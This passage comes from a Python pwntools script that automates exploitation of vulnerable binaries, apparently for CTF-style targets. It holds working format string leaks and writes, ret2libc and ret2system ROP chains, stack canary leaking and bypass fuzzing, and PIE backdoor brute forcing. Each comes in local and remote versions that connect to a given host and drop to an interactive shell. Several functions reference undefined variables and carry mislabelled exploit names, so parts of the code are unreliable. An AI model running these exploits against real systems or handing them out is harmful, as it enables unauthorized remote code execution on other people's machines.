1107 | print_table_row([case.decode()[:20], "ERROR", "UNKNOWN"], colors)
1108 |
1109 | print()
1110 |
1111 | if vulnerable:
1112 | print_success("format string vulnerability detected!")
1113 | return True
1114 | else:
1115 | print_warning("no format string vulnerability detected")
1116 | return False
1117 |
1118 | def find_ftmstr_bss_symbols(program):
1119 | """Find format string BSS symbols"""
1120 | function = 0
1121 | with open(program, 'rb') as f:
1122 | elf = ELFFile(f)
1123 | symtab = elf.get_section_by_name('.symtab')
1124 | if not symtab:
1125 | print_warning("Did not find the variable used in the if-condition")
1126 | return function
1127 | for symbol in symtab.iter_symbols():
1128 | if (symbol['st_info'].type == 'STT_OBJECT' and
1129 | symbol['st_size'] > 2 and
1130 | '_' not in symbol.name):
1131 | print_success(f"Found the variable used in the if-condition: {symbol.name}, address: {hex(symbol['st_value'])}")
1132 | function = 1
1133 | buf_addr = hex(symbol['st_value'])
1134 | function_name = symbol.name
1135 |
1136 | return function, buf_addr, function_name
1137 |
1138 | def find_offset(program):
1139 | """Find format string offset"""
1140 | print_info("searching for format string offset")
1141 |
1142 | p = process(program)
1143 | payload = b'AAAA' + b'.%x' * 40 # Payload to leak stack values
1144 | print_payload(f"testing payload: {payload[:20]}...")
1145 |
1146 | p.sendline(payload)
1147 | try:
1148 | output = p.recv(timeout=2) # Receive output from the program
1149 | except:
1150 | output = p.clean() # If timeout, clean buffer
1151 |
1152 | parts = output.split(b'.') # Split output by '.'
1153 | for i in range(1, len(parts)):
1154 | # Extract first word before space or newline after each '.'
1155 | part = parts[i].split(b'\n')[0].split()[0] if b' ' in parts[i] else parts[i]
1156 | try:
1157 | val = int(part, 16) # Convert hex string to int
1158 | if val == 0x41414141: # Check for 'AAAA' in hex
1159 | p.close()
1160 | print_success(f"format string offset found: {i}")
1161 | return i # Return the offset where 'AAAA' appears
1162 | except:
1163 | continue
1164 | p.close()
1165 | print_error("offset not found")
1166 | raise ValueError('[-]Offset not found') # Raise if not found
1167 |
1168 | def system_fmtstr(program, offset, buf_addr):
1169 | """Format string exploitation (local)"""
1170 | print_section_header("EXPLOITATION: Format String - Local")
1171 | print_payload("preparing format string exploit")
1172 |
1173 | io = process(program)
1174 | elf = ELF(program)
1175 | buf_addr = int(buf_addr, 16)
1176 | buf_addr = p32(buf_addr)
1177 | system_addr = buf_addr
1178 | offset_bytes = str(offset).encode()
1179 |
1180 | payload = system_addr + b'%' + offset_bytes + b'$n'
1181 | print_payload(f"payload: {payload}")
1182 |
1183 | io.sendline(payload)
1184 |
1185 | # Handle successful exploitation
1186 | handle_exploitation_success(
1187 | 'Format String - Local',
1188 | payload,
1189 | 0, # No padding for format string
1190 | {
1191 | 'buf_addr': hex(int(buf_addr.hex(), 16)),
1192 | 'system_addr': hex(int(system_addr.hex(), 16)),
1193 | 'offset': str(offset)
1194 | },
1195 | 'Format String Vulnerability',
1196 | 'x32'
1197 | )
1198 |
1199 | io.interactive()
1200 |
1201 | def ret2libc_write_x64(program, libc, padding, pop_rdi_addr, pop_rsi_addr, ret_addr, other_rdi_registers, other_rsi_registers, libc_path):
1202 | """ret2libc exploitation using write function (x64)"""
1203 | print_section_header("EXPLOITATION: ret2libc (write) - x64")
1204 | print_payload("preparing ret2libc exploit using write function")
1205 |
1206 | io = process(program)
1207 |
1208 | if libc == 1:
1209 | if libc_path is None:
1210 | print_info("using LibcSearcher for libc resolution")
1211 | else:
1212 | print_info(f"using detected libc: {libc_path}")
1213 | libc = ELF(libc_path)
1214 | else:
1215 | libc = ELF(libc)
1216 |
1217 | e = ELF(program)
1218 | main_addr = e.symbols['main']
1219 | write_plt = e.symbols['write']
1220 | write_got = e.got['write']
1221 |
1222 | print_info(f"main address: {Colors.YELLOW}{hex(main_addr)}{Colors.END}")
1223 | print_info(f"write@plt: {Colors.YELLOW}{hex(write_plt)}{Colors.END}")
1224 | print_info(f"write@got: {Colors.YELLOW}{hex(write_got)}{Colors.END}")
1225 |
1226 | pop_rdi_addr = int(pop_rdi_addr, 16)
1227 | pop_rsi_addr = int(pop_rsi_addr, 16)
1228 | ret_addr = int(ret_addr, 16)
1229 |
1230 | # Stage 1: Leak write address
1231 | print_payload("stage 1: leaking write address from GOT")
1232 | if other_rsi_registers == 1:
1233 | payload1 = flat([
1234 | asm('nop') * padding,
1235 | p64(pop_rdi_addr),
1236 | p64(1),
1237 | p64(pop_rsi_addr),
1238 | p64(write_got),
1239 | p64(0),
1240 | p64(write_plt),
1241 | p64(main_addr)
1242 | ])
1243 | elif other_rdi_registers == 1:
1244 | payload1 = flat([
1245 | asm('nop') * padding,
1246 | p64(pop_rdi_addr),
1247 | p64(1),
1248 | p64(0),
1249 | p64(pop_rsi_addr),
1250 | p64(write_got),
1251 | p64(write_plt),
1252 | p64(main_addr)
1253 | ])
1254 | elif other_rdi_registers == 0 and other_rsi_registers == 0:
1255 | payload1 = flat([
1256 | asm('nop') * padding,
1257 | p64(pop_rdi_addr),
1258 | p64(1),
1259 | p64(pop_rsi_addr),
1260 | p64(write_got),
1261 | p64(write_plt),
1262 | p64(main_addr)
1263 | ])
1264 |
1265 | io.recv()
1266 | io.sendline(payload1)
1267 |
1268 | write_addr = u64(io.recv(8))
1269 | print_success(f"write address leaked: {Colors.YELLOW}{hex(write_addr)}{Colors.END}")
1270 |
1271 | # Calculate system and /bin/sh addresses
1272 | if libc == 1:
1273 | libc = LibcSearcher("write", write_addr)
1274 | libcbase = write_addr - libc.dump('write')
1275 | system_addr = libcbase + libc.dump('system')
1276 | sh_addr = libcbase + libc.dump('str_bin_sh')
1277 | else:
1278 | libc_write = libc.symbols['write']
1279 | system_addr = write_addr - libc_write + libc.symbols['system']
1280 | sh_addr = write_addr - libc_write + next(libc.search(b'/bin/sh'))
1281 |
1282 | print_success(f"system address calculated: {Colors.YELLOW}{hex(system_addr)}{Colors.END}")
1283 | print_success(f"/bin/sh address calculated: {Colors.YELLOW}{hex(sh_addr)}{Colors.END}")
1284 |
1285 | # Stage 2: Execute system("/bin/sh")
1286 | print_payload("stage 2: executing system('/bin/sh')")
1287 |
1288 | if other_rdi_registers == 1:
1289 | payload2 = flat([
1290 | asm('nop') * padding,
1291 | p64(pop_rdi_addr),
1292 | p64(sh_addr),
1293 | p64(0),
1294 | p64(system_addr),
1295 | p64(0)
1296 | ])
1297 | else:
1298 | payload2 = flat([
1299 | asm('nop') * padding,
1300 | p64(pop_rdi_addr),
1301 | p64(sh_addr),
1302 | p64(system_addr),
1303 | p64(0)
1304 | ])
1305 |
1306 | io.recv()
1307 |
1308 | io.sendline(payload2)
1309 |
1310 | # Handle successful exploitation
1311 | handle_exploitation_success(
1312 | 'ret2libc (write) - x64',
1313 | payload2,
1314 | padding,
1315 | {
1316 | 'pop_rdi': hex(pop_rdi_addr),
1317 | 'pop_rsi': hex(pop_rsi_addr),
1318 | 'ret': hex(ret_addr),
1319 | 'write_plt': hex(write_plt),
1320 | 'write_got': hex(write_got),
1321 | 'main': hex(main_addr),
1322 | 'system': hex(system_addr),
1323 | 'sh': hex(sh_addr)
1324 | },
1325 | 'Stack Buffer Overflow',
1326 | 'x64'
1327 | )
1328 |
1329 | io.interactive()
1330 |
1331 | def ret2libc_write_x32_remote(program, libc, padding, url, port):
1332 | """ret2libc exploitation using write function (x32 remote)"""
1333 | print_section_header("EXPLOITATION: ret2libc (write) - x32 Remote")
1334 | print_payload("preparing ret2libc exploit using write function")
1335 |
1336 | io = remote(url, port)
1337 |
1338 | if libc == 1:
1339 | print_info("using LibcSearcher for libc resolution")
1340 | else:
1341 | libc = ELF(libc)
1342 |
1343 | e = ELF(program)
1344 | main_addr = e.symbols['main']
1345 | write_plt = e.symbols['write']
1346 | write_got = e.got['write']
1347 |
1348 | print_info(f"main address: {Colors.YELLOW}{hex(main_addr)}{Colors.END}")
1349 | print_info(f"write@plt: {Colors.YELLOW}{hex(write_plt)}{Colors.END}")
1350 | print_info(f"write@got: {Colors.YELLOW}{hex(write_got)}{Colors.END}")
1351 |
1352 | # Stage 1: Leak write address
1353 | print_payload("stage 1: leaking write address from GOT")
1354 | payload1 = asm('nop') * padding + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4)
1355 |
1356 | io.recv()
1357 | io.sendline(payload1)
1358 |
1359 | write_addr = u32(io.recv(4))
1360 | print_success(f"write address leaked: {Colors.YELLOW}{hex(write_addr)}{Colors.END}")
1361 |
1362 | # Calculate system and /bin/sh addresses
1363 | if libc == 1:
1364 | libc = LibcSearcher("write", write_addr)
1365 | libcbase = write_addr - libc.dump('write')
1366 | system_addr = libcbase + libc.dump('system')
1367 | sh_addr = libcbase + libc.dump('str_bin_sh')
1368 | else:
1369 | libc_write = libc.symbols['write']
1370 | system_addr = write_addr - libc_write + libc.symbols['system']
1371 | sh_addr = write_addr - libc_write + next(libc.search(b'/bin/sh'))
1372 |
1373 | print_success(f"system address calculated: {Colors.YELLOW}{hex(system_addr)}{Colors.END}")
1374 | print_success(f"/bin/sh address calculated: {Colors.YELLOW}{hex(sh_addr)}{Colors.END}")
1375 |
1376 | # Stage 2: Execute system("/bin/sh")
1377 | print_payload("stage 2: executing system('/bin/sh')")
1378 | payload2 = asm('nop') * padding + p32(system_addr) + p32(0) + p32(sh_addr)
1379 |
1380 | io.recv()
1381 | io.sendline(payload2)
1382 |
1383 | # Handle successful exploitation
1384 | handle_exploitation_success(
1385 | 'ret2libc (puts) - x64',
1386 | payload2,
1387 | padding,
1388 | {
1389 | 'pop_rdi': hex(int(pop_rdi_addr.hex(), 16)),
1390 | 'ret': hex(int(ret_addr.hex(), 16)),
1391 | 'puts_plt': hex(puts_plt),
1392 | 'puts_got': hex(puts_got),
1393 | 'main': hex(main_addr),
1394 | 'puts_addr': hex(puts_addr),
1395 | 'system': hex(system_addr),
1396 | 'sh': hex(sh_addr)
1397 | },
1398 | 'Stack Buffer Overflow',
1399 | 'x64'
1400 | )
1401 |
1402 | print_critical("EXPLOITATION SUCCESSFUL! Dropping to shell...")
1403 | io.interactive()
1404 |
1405 | def ret2libc_write_x64_remote(program, libc, padding, pop_rdi_addr, pop_rsi_addr, ret_addr, other_rdi_registers, other_rsi_registers, url, port):
1406 | """ret2libc exploitation using write function (x64 remote)"""
1407 | print_section_header("EXPLOITATION: ret2libc (write) - x64 Remote")
1408 | print_payload("preparing ret2libc exploit using write function")
1409 |
1410 | io = remote(url, port)
1411 |
1412 | if libc == 1:
1413 | print_info("using LibcSearcher for libc resolution")
1414 | else:
1415 | libc = ELF(libc)
1416 |
1417 | e = ELF(program)
1418 | main_addr = e.symbols['main']
1419 | write_plt = e.symbols['write']
1420 | write_got = e.got['write']
1421 |
1422 | print_info(f"main address: {Colors.YELLOW}{hex(main_addr)}{Colors.END}")
1423 | print_info(f"write@plt: {Colors.YELLOW}{hex(write_plt)}{Colors.END}")
1424 | print_info(f"write@got: {Colors.YELLOW}{hex(write_got)}{Colors.END}")
1425 |
1426 | pop_rdi_addr = int(pop_rdi_addr, 16)
1427 | pop_rsi_addr = int(pop_rsi_addr, 16)
1428 | ret_addr = int(ret_addr, 16)
1429 |
1430 | # Stage 1: Leak write address
1431 | print_payload("stage 1: leaking write address from GOT")
1432 | if other_rsi_registers == 1:
1433 | payload1 = flat([
1434 | asm('nop') * padding,
1435 | p64(pop_rdi_addr),
1436 | p64(1),
1437 | p64(pop_rsi_addr),
1438 | p64(write_got),
1439 | p64(0),
1440 | p64(write_plt),
1441 | p64(main_addr)
1442 | ])
1443 | elif other_rdi_registers == 1:
1444 | payload1 = flat([
1445 | asm('nop') * padding,
1446 | p64(pop_rdi_addr),
1447 | p64(1),
1448 | p64(0),
1449 | p64(pop_rsi_addr),
1450 | p64(write_got),
1451 | p64(write_plt),
1452 | p64(main_addr)
1453 | ])
1454 | elif other_rdi_registers == 0 and other_rsi_registers == 0:
1455 | payload1 = flat([
1456 | asm('nop') * padding,
1457 | p64(pop_rdi_addr),
1458 | p64(1),
1459 | p64(pop_rsi_addr),
1460 | p64(write_got),
1461 | p64(write_plt),
1462 | p64(main_addr)
1463 | ])
1464 |
1465 | io.recv()
1466 | io.sendline(payload1)
1467 |
1468 | write_addr = u64(io.recv(8))
1469 | print_success(f"write address leaked: {Colors.YELLOW}{hex(write_addr)}{Colors.END}")
1470 |
1471 | # Calculate system and /bin/sh addresses
1472 | if libc == 1:
1473 | libc = LibcSearcher("write", write_addr)
1474 | libcbase = write_addr - libc.dump('write')
1475 | system_addr = libcbase + libc.dump('system')
1476 | sh_addr = libcbase + libc.dump('str_bin_sh')
1477 | else:
1478 | libc_write = libc.symbols['write']
1479 | system_addr = write_addr - libc_write + libc.symbols['system']
1480 | sh_addr = write_addr - libc_write + next(libc.search(b'/bin/sh'))
1481 |
1482 | print_success(f"system address calculated: {Colors.YELLOW}{hex(system_addr)}{Colors.END}")
1483 | print_success(f"/bin/sh address calculated: {Colors.YELLOW}{hex(sh_addr)}{Colors.END}")
1484 |
1485 | # Stage 2: Execute system("/bin/sh")
1486 | print_payload("stage 2: executing system('/bin/sh')")
1487 | io.recv()
1488 |
1489 | if other_rdi_registers == 1:
1490 | payload2 = flat([
1491 | asm('nop') * padding,
1492 | p64(pop_rdi_addr),
1493 | p64(sh_addr),
1494 | p64(0),
1495 | p64(ret_addr),
1496 | p64(system_addr)
1497 | ])
1498 | else:
1499 | payload2 = flat([
1500 | asm('nop') * padding,
1501 | p64(pop_rdi_addr),
1502 | p64(sh_addr),
1503 | p64(ret_addr),
1504 | p64(system_addr)
1505 | ])
1506 |
1507 | io.sendline(payload2)
1508 |
1509 | # Handle successful exploitation
1510 | handle_exploitation_success(
1511 | 'ret2libc (puts) - x64',
1512 | payload2,
1513 | padding,
1514 | {
1515 | 'puts_plt': hex(puts_plt),
1516 | 'puts_got': hex(puts_got),
1517 | 'main': hex(main_addr),
1518 | 'puts_addr': hex(puts_addr),
1519 | 'system': hex(system_addr),
1520 | 'sh': hex(sh_addr)
1521 | },
1522 | 'Stack Buffer Overflow',
1523 | 'x64'
1524 | )
1525 |
1526 | print_critical("EXPLOITATION SUCCESSFUL! Dropping to shell...")
1527 | io.interactive()
1528 |
1529 | def system_fmtstr_remote(program, offset, buf_addr, url, port):
1530 | """Format string exploitation (remote)"""
1531 | print_section_header("EXPLOITATION: Format String - Remote")
1532 | print_payload("preparing format string exploit")
1533 |
1534 | io = remote(url, port)
1535 | elf = ELF(program)
1536 | buf_addr = int(buf_addr, 16)
1537 | buf_addr = p64(buf_addr)
1538 | system_addr = buf_addr
1539 | offset_bytes = str(offset).encode()
1540 |
1541 | payload = system_addr + b'%' + offset_bytes + b'$n'
1542 | print_payload(f"payload: {payload}")
1543 |
1544 | io.sendline(payload)
1545 | print_critical("EXPLOITATION SUCCESSFUL! Dropping to shell...")
1546 | io.interactive()
1547 |
1548 | def fmtstr_print_strings(program):
1549 | """Print strings using format string (local)"""
1550 | print_section_header("FORMAT STRING LEAK - Local")
1551 | print_info("leaking program strings using format string")
1552 | elf = context.binary = ELF(program, checksec=False)
1553 |
1554 | for i in range(100):
1555 | try:
1556 | io = process(program, level='error')
1557 | io.sendline('%{}$s'.format(i).encode())
1558 | result = io.recv()
1559 | if result and len(result.strip()) > 0:
1560 | print_info(f"offset {i}: {Colors.YELLOW}{result}{Colors.END}")
1561 | io.close()
1562 | except EOFError:
1563 | pass
1564 |
1565 | def fmtstr_print_strings_remote(program, url, port):
1566 | """Print strings using format string (remote)"""
1567 | print_section_header("FORMAT STRING LEAK - Remote")
1568 | print_info(f"leaking program strings from {url}:{port}")
1569 | elf = context.binary = ELF(program, checksec=False)
1570 |
1571 | for i in range(100):
1572 | try:
1573 | io = remote(url, port)
1574 | io.sendline('%{}$s'.format(i).encode())
1575 | result = io.recv()
1576 | if result and len(result.strip()) > 0:
1577 | print_info(f"offset {i}: {Colors.YELLOW}{result}{Colors.END}")
1578 | io.close()
1579 | except EOFError:
1580 | pass
1581 |
1582 | def leakage_canary_value(program):
1583 | """Leak canary values using format string"""
1584 | print_info("leaking canary values")
1585 | elf = context.binary = ELF(program, checksec=False)
1586 | with open('canary.txt', 'w') as f:
1587 | for i in range(100):
1588 | try:
1589 | with process(program) as p:
1590 | p.sendline(f'%{i}$p'.encode())
1591 | p.recvline()
1592 | result = p.recvline().decode().strip()
1593 | if result:
1594 | line = f"{result}\n"
1595 | f.write(line)
1596 | except EOFError:
1597 | pass
1598 |
1599 | def canary_fuzz(program, bit):
1600 | """Fuzz for canary bypass"""
1601 | print_section_header("CANARY BYPASS FUZZING")
1602 | print_info("fuzzing for canary bypass")
1603 |
1604 | if bit == 64:
1605 | char = 'A'
1606 | test = 'AAAAAAAA'
1607 | with open('canary.txt', 'r') as f:
1608 | lines = [line.strip() for line in f.readlines()[1:]]
1609 |
1610 | c = 1
1611 | i = 1
1612 | max_c = 300
1613 | max_i = len(lines)
1614 |
1615 | print_info(f"testing {max_i} canary values with {max_c} parameters")
1616 |
1617 | while c < max_c and i < max_i:
1618 | current_line = lines[i]
1619 | found_j = False
1620 | exit_current = False
1621 | for j in range(i + 1, max_i):
1622 | if lines[j].startswith('0x8'):
1623 | diff = j - i
1624 | padding = 0
1625 | found_j = True
1626 |
1627 | print_info(f"testing parameter c={c}, diff={diff}")
1628 |
1629 | while padding <= 300:
1630 | io = process(program)
1631 | io.recv()
1632 | io.sendline(f'%{c}$p'.encode())
1633 | result = io.recvline().decode().strip()
1634 |
1635 | if result.startswith('0x'):
1636 | result = int(result, 16)
1637 | result = p64(result)
1638 |
1639 | input_data = flat([char * (padding + 1), result, test * diff])
1640 | io.recv()
1641 | io.sendline(input_data)
1642 | io.wait()
1643 |
1644 | if io.poll() == -11:
1645 | padding = padding + 1
1646 | print_success(f"canary bypass found! c={c}, padding={padding}, diff={diff}")
1647 | return padding, c, diff
1648 |
1649 | io.close()
1650 | padding += 1
1651 |
1652 | if padding > 300:
1653 | print_warning(f"parameter c={c} test failed, trying next parameter")
1654 | c += 1
1655 | i += 1
1656 | exit_current = True
1657 | break
1658 | break
1659 |
1660 | if exit_current:
1661 | break
1662 |
1663 | if exit_current:
1664 | continue
1665 |
1666 | if not found_j:
1667 | i += 1
1668 | if i >= max_i:
1669 | c += 1
1670 | i = 0
1671 |
1672 | print_critical("All parameters tested, no valid offset found")
1673 | padding = None
1674 | return padding, None, None
1675 |
1676 | # Similar logic for 32-bit
1677 | if bit == 32:
1678 | char = 'A'
1679 | test = 'AAAA'
1680 | with open('canary.txt', 'r') as f:
1681 | lines = [line.strip() for line in f.readlines()[1:]]
1682 |
1683 | c = 1
1684 | i = 1
1685 | max_c = 300
1686 | max_i = len(lines)
1687 |
1688 | while c < max_c and i < max_i:
1689 | current_line = lines[i]
1690 | found_j = False
1691 | exit_current = False
1692 | for j in range(i + 1, max_i):
1693 | if lines[j].startswith('0x8'):
1694 | diff = j - i
1695 | padding = 0
1696 | found_j = True
1697 |
1698 | while padding <= 300:
1699 | io = process(program)
1700 | io.recv()
1701 | io.sendline(f'%{c}$p'.encode())
1702 | result = io.recvline().decode().strip()
1703 | print_info(f"Debug: c={c}, i={i}, padding={padding}, result={result}, diff={diff}")
1704 |
1705 | if result.startswith('0x'):
1706 | result = int(result, 16)
1707 | result = p32(result)
1708 |
1709 | input_data = flat([char * (padding + 1), result, test * diff])
1710 | io.recv()
1711 | io.sendline(input_data)
1712 | io.wait()
1713 |
1714 | if io.poll() == -11:
1715 | padding = padding + 1
1716 | print_success(f"canary bypass found! c={c}, padding={padding}, diff={diff}")
1717 | return padding, c, diff
1718 |
1719 | io.close()
1720 | padding += 1
1721 |
1722 | if padding > 300:
1723 | print_warning(f"c={c} test failed, trying next parameter")
1724 | c += 1
1725 | i += 1
1726 | exit_current = True
1727 | break
1728 | break
1729 |
1730 | if exit_current:
1731 | break
1732 |
1733 | if exit_current:
1734 | continue
1735 |
1736 | if not found_j:
1737 | i += 1
1738 | if i >= max_i:
1739 | c += 1
1740 | i = 0
1741 |
1742 | print_critical("All parameters tested, no valid offset found")
1743 | padding = None
1744 | return padding, None, None
1745 |
1746 | def pie_backdoor_exploit(program, padding, backdoor, libc_path, libc, callsystem):
1747 | """PIE backdoor exploitation (local)"""
1748 | print_section_header("EXPLOITATION: PIE Backdoor - Local")
1749 | print_payload("preparing PIE backdoor brute force")
1750 |
1751 | elf = ELF(program)
1752 | if backdoor == 1:
1753 | backdoor = elf.symbols["backdoor"] + 0x04
1754 | if callsystem == 1:
1755 | backdoor = elf.symbols["callsystem"] + 0x04
1756 | backdoor_bytes = p64(backdoor)
1757 | valid_bytes = backdoor_bytes.replace(b'\x00', b'')
1758 | valid_byte_length = len(valid_bytes)
1759 |
1760 | cleaned_bytes = backdoor_bytes[:valid_byte_length]
1761 | payload = asm("nop") * padding + cleaned_bytes
1762 |
1763 | count = 1
1764 | print_info("starting PIE brute force attack")
1765 | while True:
1766 | io = process(program)
1767 | try:
1768 | count += 1
1769 | print_info(f"attempt {Colors.YELLOW}{count}{Colors.END}", prefix="[BRUTE]")
1770 | io.recv()
1771 | io.send(payload)
1772 | recv = io.recv(timeout=10)
1773 | except:
1774 | print_warning(f"attempt {count} failed", prefix="[BRUTE]")
1775 | else:
1776 | print_critical("EXPLOITATION SUCCESSFUL! Dropping to shell...")
1777 | io.interactive()
1778 | break
1779 |
1780 | def pie_backdoor_exploit_remote(program, padding, backdoor, libc_path, libc, url, port, callsystem):
1781 | """PIE backdoor exploitation (remote)"""
1782 | print_section_header("EXPLOITATION: PIE Backdoor - Remote")
1783 | print_payload("preparing PIE backdoor brute force")
1784 |
1785 | elf = ELF(program)
1786 | if backdoor == 1:
1787 | backdoor = elf.symbols["backdoor"] + 0x04
1788 | if callsystem == 1:
1789 | backdoor = elf.symbols["callsystem"] + 0x04
1790 |
1791 | backdoor_bytes = p64(backdoor)
1792 | valid_bytes = backdoor_bytes.replace(b'\x00', b'')
1793 | valid_byte_length = len(valid_bytes)
1794 |
1795 | cleaned_bytes = backdoor_bytes[:valid_byte_length]
1796 | payload = asm("nop") * padding + cleaned_bytes
1797 |
1798 | count = 1
1799 | print_info(f"starting PIE brute force attack against {Colors.YELLOW}{url}:{port}{Colors.END}")
1800 | while True:
1801 | io = remote(url, port)
1802 | try:
1803 | count += 1
1804 | print_info(f"attempt {Colors.YELLOW}{count}{Colors.END}", prefix="[BRUTE]")
1805 | io.recv()
1806 | io.send(payload)
1807 | recv = io.recv(timeout=10)
1808 | except:
1809 | print_warning(f"attempt {count} failed", prefix="[BRUTE]")
1810 | else:
1811 | print_critical("EXPLOITATION SUCCESSFUL! Dropping to shell...")
1812 | io.interactive()
1813 | break
1814 |
1815 | # Exploitation functions with improved output
1816 | def ret2libc_write_x32(program, libc, padding, libc_path):
1817 | """ret2libc exploitation using write function (x32)"""
1818 | print_section_header("EXPLOITATION: ret2libc (write) - x32")
1819 | print_payload("preparing ret2libc exploit using write function")
1820 |
1821 | io = process(program)
1822 |
1823 | if libc == 1:
1824 | if libc_path is None:
1825 | print_info("using LibcSearcher for libc resolution")
1826 | else:
1827 | print_info(f"using detected libc: {libc_path}")
1828 | libc = ELF(libc_path)
1829 | else:
1830 | libc = ELF(libc)
1831 |
1832 | e = ELF(program)
1833 | main_addr = e.symbols['main']
1834 | write_plt = e.symbols['write']
1835 | write_got = e.got['write']
1836 |
1837 | print_info(f"main address: {Colors.YELLOW}{hex(main_addr)}{Colors.END}")
1838 | print_info(f"write@plt: {Colors.YELLOW}{hex(write_plt)}{Colors.END}")
1839 | print_info(f"write@got: {Colors.YELLOW}{hex(write_got)}{Colors.END}")
1840 |
1841 | # Stage 1: Leak write address
1842 | print_payload("stage 1: leaking write address from GOT")
1843 | payload1 = asm('nop') * padding + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4)
1844 |
1845 | io.recv()
1846 | io.sendline(payload1)
1847 |
1848 | write_addr = u32(io.recv(4))
1849 | print_success(f"write address leaked: {Colors.YELLOW}{hex(write_addr)}{Colors.END}")
1850 |
1851 | # Calculate system and /bin/sh addresses
1852 | if libc == 1:
1853 | libc = LibcSearcher("write", write_addr)
1854 | libcbase = write_addr - libc.dump('write')
1855 | system_addr = libcbase + libc.dump('system')
1856 | sh_addr = libcbase + libc.dump('str_bin_sh')
1857 | else:
1858 | libc_write = libc.symbols['write']
1859 | system_addr = write_addr - libc_write + libc.symbols['system']
1860 | sh_addr = write_addr - libc_write + next(libc.search(b'/bin/sh'))
1861 |
1862 | print_success(f"system address calculated: {Colors.YELLOW}{hex(system_addr)}{Colors.END}")
1863 | print_success(f"/bin/sh address calculated: {Colors.YELLOW}{hex(sh_addr)}{Colors.END}")
1864 |
1865 | # Stage 2: Execute system("/bin/sh")
1866 | print_payload("stage 2: executing system('/bin/sh')")
1867 | payload2 = asm('nop') * padding + p32(system_addr) + p32(0) + p32(sh_addr)
1868 |
1869 | io.recv()
1870 | io.sendline(payload2)
1871 |
1872 | # Handle successful exploitation
1873 | handle_exploitation_success(
1874 | 'ret2libc (puts) - x64 Remote',
1875 | payload2,
1876 | padding,
1877 | {
1878 | 'puts_plt': hex(puts_plt),
1879 | 'puts_got': hex(puts_got),
1880 | 'main': hex(main_addr),
1881 | 'puts_addr': hex(puts_addr),
1882 | 'system': hex(system_addr),
1883 | 'sh': hex(sh_addr)
1884 | },
1885 | 'Stack Buffer Overflow',
1886 | 'x64'
1887 | )
1888 |
1889 | print_critical("EXPLOITATION SUCCESSFUL! Dropping to shell...")
1890 | io.interactive()
1891 |
1892 | def ret2_system_x32(program, libc, padding, libc_path):
1893 | """ret2system exploitation (x32)"""
1894 | print_section_header("EXPLOITATION: ret2system - x32")
1895 | print_payload("preparing ret2system exploit")
1896 |
1897 | io = process(program)
1898 | e = ELF(program)
1899 | system_addr = e.symbols['system']
1900 | bin_sh_addr = next(e.search(b'/bin/sh'))
1901 |
1902 | print_info(f"system address: {Colors.YELLOW}{hex(system_addr)}{Colors.END}")
1903 | print_info(f"/bin/sh address: {Colors.YELLOW}{hex(bin_sh_addr)}{Colors.END}")
1904 |
1905 | payload = asm('nop') * padding + p32(system_addr) + p32(0) + p32(bin_sh_addr)
1906 | io.sendline(payload)
1907 |
1908 | handle_exploitation_success(
1909 | exploit_type='ret2system - x32',
1910 | payload=payload,
1911 | padding=padding,
1912 | addresses={'system_addr': system_addr, 'bin_sh_addr': bin_sh_addr},
1913 | vulnerability_type='Buffer Overflow',
1914 | architecture='x32'
1915 | )
1916 | io.interactive()
1917 |
1918 | def ret2_system_x64(program, libc, padding, pop_rdi_addr, other_rdi_registers, ret_addr, libc_path):
1919 | """ret2system exploitation (x64)"""
1920 | print_section_header("EXPLOITATION: ret2system - x64")
1921 | print_payload("preparing ret2system exploit")
1922 |
1923 | if pop_rdi_addr == None:
1924 | print_error("pop rdi gadget not found, exploitation not possible")
1925 | sys.exit(0)
1926 |
1927 | io = process(program)
1928 | e = ELF(program)
1929 | system_addr = e.symbols['system']
1930 | bin_sh_addr = next(e.search(b'/bin/sh'))
1931 |
1932 | print_info(f"system address: {Colors.YELLOW}{hex(system_addr)}{Colors.END}")
1933 | print_info(f"/bin/sh address: {Colors.YELLOW}{hex(bin_sh_addr)}{Colors.END}")
1934 |
1935 | pop_rdi_addr = int(pop_rdi_addr, 16)
1936 | pop_rdi_addr = p64(pop_rdi_addr)
1937 | ret_addr = int(ret_addr, 16)
1938 | ret_addr = p64(ret_addr)
1939 |
1940 | if other_rdi_registers == 1:
1941 | payload = flat([asm('nop') * padding, pop_rdi_addr, p64(bin_sh_addr), p64(0), ret_addr, p64(system_addr), p64(0)])
1942 | elif other_rdi_registers == 0:
1943 | payload = flat([asm('nop') * padding, pop_rdi_addr, p64(bin_sh_addr), ret_addr, p64(system_addr)])
1944 |
1945 | io.sendline(payload)
1946 |
1947 | handle_exploitation_success(
1948 | exploit_type='ret2system - x64',
1949 | payload=payload,
1950 | padding=padding,
1951 | addresses={'system_addr': system_addr, 'bin_sh_addr': bin_sh_addr, 'pop_rdi_addr': pop_rdi_addr, 'ret_addr': ret_addr},
1952 | vulnerability_type='Buffer Overflow',
1953 | architecture='x64'
1954 | )
1955 | io.interactive()
1956 |
1957 | def ret2_system_x32_remote(program, libc, padding, url, port):
1958 | """ret2system exploitation (x32 remote)"""
1959 | print_section_header("EXPLOITATION: ret2system - x32 Remote")
1960 | print_payload("preparing ret2system exploit")
1961 |
1962 | io = remote(url, port)
1963 | e = ELF(program)
1964 | system_addr = e.symbols['system']
1965 | bin_sh_addr = next(e.search(b'/bin/sh'))
1966 |
1967 | print_info(f"system address: {Colors.YELLOW}{hex(system_addr)}{Colors.END}")
1968 | print_info(f"/bin/sh address: {Colors.YELLOW}{hex(bin_sh_addr)}{Colors.END}")
1969 |
1970 | payload = asm('nop') * padding + p32(system_addr) + p32(0) + p32(bin_sh_addr)
1971 | io.sendline(payload)
1972 | print_critical("EXPLOITATION SUCCESSFUL! Dropping to shell...")
1973 | io.interactive()
1974 |
1975 | def ret2_system_x64_remote(program, libc, padding, pop_rdi_addr, other_rdi_registers, ret_addr, url, port):
1976 | """ret2system exploitation (x64 remote)"""
1977 | print_section_header("EXPLOITATION: ret2system - x64 Remote")
1978 | print_payload("preparing ret2system exploit")
1979 |
1980 | if pop_rdi_addr == None:
1981 | print_error("pop rdi gadget not found, exploitation not possible")
1982 | sys.exit(0)
1983 |
1984 | io = remote(url, port)
1985 | e = ELF(program)
1986 | system_addr = e.symbols['system']
1987 | bin_sh_addr = next(e.search(b'/bin/sh'))
1988 |
1989 | print_info(f"system address: {Colors.YELLOW}{hex(system_addr)}{Colors.END}")
1990 | print_info(f"/bin/sh address: {Colors.YELLOW}{hex(bin_sh_addr)}{Colors.END}")
1991 |
1992 | pop_rdi_addr = int(pop_rdi_addr, 16)
